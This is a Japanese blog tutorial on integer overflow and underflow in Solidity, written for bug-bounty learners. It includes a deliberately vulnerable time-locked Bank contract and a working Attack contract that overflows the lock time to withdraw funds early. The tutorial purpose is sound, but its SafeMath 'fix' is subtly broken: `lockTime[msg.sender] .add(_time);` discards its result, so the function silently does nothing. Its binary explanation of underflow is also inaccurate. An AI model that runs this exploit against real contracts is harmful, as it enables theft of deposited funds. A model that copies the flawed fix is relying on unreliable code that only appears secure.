Hacking Smart Contract Solidity ブロックチェーン

[Solidity-Bug Bounty] OverflowとUnderflowを1からわかりやすく解説

かるでね

こんにちは!CryptoGamesというブロックチェーンゲーム企業でエンジニアをしているかるでねです!
スマートコントラクトを書いたり、フロントエンド・バックエンド・インフラと幅広く触れています。

このブログ以外でも情報発信しているので、よければ他の記事も見ていってください。

今回は「オーバーフロー」と「アンダーフロー」について解説していきます!

Solidityを書くうえであまり気にしたことない人も多いと思いますが、この「オーバーフロー」と「アンダーフロー」の脆弱性を突かれると資金を失うことに直結するためしっかりと理解することが重要です。

Solidityスキルを1段階あげたい方やバグ・バウンティに参加したいバグハンターを目指している方は必須の知識となるので、この記事で学んでいってください。

バグ・バウンティが何かわからない人は以下の記事を読んでください。

オーバーフローとアンダーフローとは?

オーバーフロー

オーバーフローとは、「あふれる」という意味です。

ある値が許容できる最大値を超えてデータが溢れてしまっている状態を指します。

わかりやすく例えを出すと、コップギリギリに水が入っていて、さらに水をそのコップに追加している状態です。(これ以降の詳しい解説ではこの説明が理解の邪魔をするので、あくまでオーバーフローという用語の例えと認識してください。)

Solidityのuint8型の変数は「0~255」までの値を許容します。

以下のようにuint8型の最大値である255が格納された変数maxNumがあるとします。

uint8 public maxNum= 255;

ではこの値に1を足すとどうなるでしょうか?

以下の関数を実行してmaxNum1を加算してみましょう。

function addNum() public {
    maxNum ++;
}

結果を見てみると以下のように0になってしまっています。

これがオーバーフローです。

わかりやすく図でも確認しましょう。

では、この現象をもう少し詳しく解説していきます。

uint8型が格納できる最大値は10進数だと「2^8-1 = 255」です。

これを2進数で表すと「11111111」となります。

では上記の値に「1」を足してみます。

11111111 + 1 = 100000000」となり、uint8という最大値が指定されているため、先頭の「1」が切り捨てられて「00000000」となります。

これは10進数で表すと「0」となります。

これが「255 + 1 = 0」になる理由です。

アンダーフロー

では次にアンダーフローについてみていきましょう。

ある値が許容できる最小値を下回り表現できなくなっている状態を指します。

わかりやすく例えを出すと、コップに入っている水を全て飲み干した後、何も入っていないコップから水を追加で飲もうとしている状態です。

魔法でも使えない限り不可能ですよね。(これ以降の詳しい解説ではこの説明が理解の邪魔をするので、あくまでアンダーフローという用語の例えと認識してください。)

Solidityのuint8型の変数は「0~255」までの値を許容します。

以下のようにuint8型の最小値である0が格納された変数minNumがあるとします。

uint8 public minNum= 0;

ではこの値に「1」を引くとどうなるでしょうか?

以下の関数を実行してminNum1を引いてみましょう。

function subNum() public {
    minNum --;
}

結果を見てみると以下のように「255」になってしまっています。

これがアンダーフローです。

わかりやすく図でも確認しましょう。

では、この現象をもう少し詳しく解説していきます。

uint8型が格納できる最小値は10進数だと「0」です。

これを2進数で表すと「00000000」となります。

では上記の値に「1」を引いてみます。

00000000 - 1 = -11111111」となり、uint8という最大値が指定されているため、マイナスが切り捨てられて「11111111」となります。

これは10進数で表すと「255」となります。

これが「0 - 1 = 255」になる理由です。

コード

いかがだったでしょうか?

オーバーフローとアンダーフローについて理解できましたか?

最後に説明で使用したコードをここに貼り付けておきます。

// SPDX-License-Identifier: GPL-3.0

// pragma solidity ^0.8.13;
pragma solidity ^0.7.6;

contract OverflowUnderflow {
    uint8 public maxNum= 255;
    uint8 public minNum= 0;
		
		/// @notice maxNumに1を加算する関数。
    function addNum() public {
        maxNum ++;
    }
		
		/// @notice minNumに1を減算する関数。
    function subNum() public {
        minNum --;
    }
}

オーバーフローとアンダーフローの実装

この章でオーバーフローとアンダーフローを実際に起こして何が危険なのかを確認していきましょう。

今回は以下のような「一定額資金を預け入れ、一定期間後に引き出すことができる」コントラクトを作成しました。

以下を参考にしています。

Bank

// SPDX-License-Identifier: GPL-3.0

// pragma solidity ^0.8.13;
pragma solidity ^0.7.6;

contract Bank {
		// 預け入れている資金を格納。
    mapping(address => uint) public balances;
    // 預け入れる期間を格納。
    mapping(address => uint) public lockTime;

    /// @notice 一定額資金を預けて、1週間後のタイムスタンプを保存する関数。
    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    /// @notice 預けてる期間を延長できる。
    function increaseLockTime(uint _time) public {
        lockTime[msg.sender] += _time;
    }

    /// @notice 預けている資金を引き出し、balancesの値を0にする。   
    function withdraw() public {
        uint balance = balances[msg.sender];
        
        // 預けた資金があるか確認。 
        require(balance > 0, "There are no funds available to withdraw.");
        // 預け入れ期間を過ぎているか確認。
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        balances[msg.sender] = 0;

        // 送金
        (bool sent, ) = msg.sender.call{value: balance}("");

        // 資金を送れたかの確認。
        require(sent, "Failed to send Ether");
    }
}

deposit

一定資金を預けれることができます。

increaseLockTime

預け入れる期間を延長できます。

withdraw

預け入れ期間を超えていたら預け入れている資金を引き出すことができます。

Attack

contract Attack {
    Bank bank;


    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {}

    function attack() public payable {
        bank.deposit{value: msg.value}();

        // 最大値から預け入れている期間を引いた値を取得。
        // その値に1を足すことで、預け入れている期間に加算した際、オーバーフローを起こす。
        bank.increaseLockTime(
            type(uint).max - bank.lockTime(address(this)) + 1
        );
        bank.withdraw();
    }
}

Bankコントラクトのアドレスを渡してデプロイします。

attack

Bankコントラクトのdeposit関数を呼び出して資金を預ける。

その後uint型が許容できる最大値を取得して、Bankコントラクトに格納されている預け入れ期間を引いた値に1を加算する。

上記値を使用してBankコントラクトのincreaseLockTime関数を呼び出す。

預け入れ期間 + uint型の許容できる最大値から預け入れ期間を引いた値 + 1

となるため、預け入れ期間の値が0になる。

例)

  • uint型の許容できる最大値
    • 1000
  • 預け入れ期間
    • 100
  • uint型の許容できる最大値から預け入れ期間を引いた値
    • 1000 - 100 = 900
  • 預け入れ期間 + uint型の許容できる最大値から預け入れ期間を引いた値 + 1
    • 100 + 900 + 1 = 1001 → 0

では実行して動作を確認しましょう。

普通に預け入れて引き出した際はエラーになるが、Attackコントラクトからオーバーフローを起こした際は引き出せてしまっていることが確認できますね。

このように予期しない攻撃をされてしまう可能性があるため、オーバーフローやアンダーフローに対して十分な対策が必要になります。

対処法

ではどのようにすればオーバーフローやアンダーフローを回避できるのか確認しましょう。

Solidity0.8を使用

ここまでで使用しているコードを確認するとわかりますが、使用しているSolidityのバージョンが0.7になっています。

これはわざと0.7を使用していて、0.8以上を使用することで、コンパイル時に自動的にオーバーフローとアンダーフローのチェックを行ってくれるようになります。

solidityのバージョンを0.8にして確認してみましょう。

先ほどは実行が成功していましたが、solidityのバージョンを0.8にしたことで失敗しているのが確認できます。

SafeMathライブラリの使用

2つ目はSafeMathライブラリを使用ことです。

SafeMathライブラリを使用して演算を行うことで、オーバーフロー・アンダーフローする計算は失敗するようになります。

SafeMathを追加したコードは以下になります。

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

// SafeMathをimport
import"https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol";

contract Bank {

    // uint256にSafeMathを使用。
    using SafeMath for uint256;

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    /// @notice 一定額資金を預けて、1週間後のタイムスタンプを保存する関数。
    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    /// @notice 預けてる期間を延長できる。
    function increaseLockTime(uint _time) public {
        // SafeMathを使用して加算
        lockTime[msg.sender] .add(_time);
    }

    /// @notice 預けている資金を引き出し、balancesの値を0にする。   
    function withdraw() public {
        uint balance = balances[msg.sender];
        
        // 預けた資金があるか確認。 
        require(balance > 0, "There are no funds available to withdraw.");
        // 預け入れ期間を過ぎているか確認。
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        balances[msg.sender] = 0;

        // 送金
        (bool sent, ) = msg.sender.call{value: balance}("");

        // 資金を送れたかの確認。
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    Bank bank;


    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {}

    function attack() public payable {
        bank.deposit{value: msg.value}();

        // 最大値から預け入れている期間を引いた値を取得。
        // その値に1を足すことで、預け入れている期間に加算した際、オーバーフローを起こす。
        bank.increaseLockTime(
            type(uint).max - bank.lockTime(address(this)) + 1
        );
        bank.withdraw();
    }
}

最後に

今回は「オーバーフロー」と「アンダーフロー」について取り上げてきました。

いかがだったでしょうか?

オーバーフロー」と「アンダーフロー」が何で、どんな危険性があり、どのように対処すればよいかが理解できていたら嬉しいです!

もし何か質問などがあれば以下のTwitterなどから連絡ください!

普段はSolidityやブロックチェーン、Web3についての情報発信をしています。

Twiiterでは気になった記事などを共有しているので、ぜひフォローしてくれると嬉しいです!

参考

-Hacking, Smart Contract, Solidity, ブロックチェーン
-, ,